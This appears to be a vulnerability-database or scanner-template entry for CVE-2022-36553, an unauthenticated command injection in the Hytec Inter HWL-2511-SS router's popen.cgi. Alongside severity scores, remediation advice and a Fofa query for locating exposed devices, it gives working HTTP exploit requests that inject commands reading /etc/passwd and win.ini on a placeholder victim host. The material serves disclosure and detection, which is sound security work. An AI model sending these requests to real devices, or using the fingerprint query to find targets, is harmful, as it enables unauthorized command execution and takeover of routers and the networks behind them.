| Title | Hytec Inter HWL-2511-SS - Remote Command Execution |
|---|---|
| Author | HuTa0 |
| Severity | Critical |
| Impact | Unauthenticated attackers can execute arbitrary commands on the Hytec Inter HWL-2511-SS cellular router through command injection in the popen.cgi endpoint, potentially gaining complete control over the device and connected network infrastructure. |
| Remediation | Update Hytec Inter HWL-2511-SS firmware to a version later than 1.05 that properly sanitizes command parameters in popen.cgi. |
| CVSS Score | 9.8 |
| EPSS Score | 0.916 |
| CVE ID | CVE-2022-36553 |
| CWE ID | CWE-77 |
| Fofa Query | title="index" && header="lighttpd/1.4.30" |
| Tags | cve2022 cve hytec rce vkev vuln |
Hytec Inter HWL-2511-SS v1.05 and below was discovered to contain a command injection vulnerability via the component /www/cgi-bin/popen.cgi.
GET /cgi-bin/popen.cgi?command=cat%20/etc/passwd&v=0.1303033443137912 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15
Accept-Encoding: gzip
Connection: close
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept-Encoding: gzip
Connection: close
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept-Encoding: gzip
Connection: close
GET /cgi-bin/popen.cgi?command=type%20C://Windows/win.ini&v=0.1303033443137912 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15
Accept-Encoding: gzip
Connection: close
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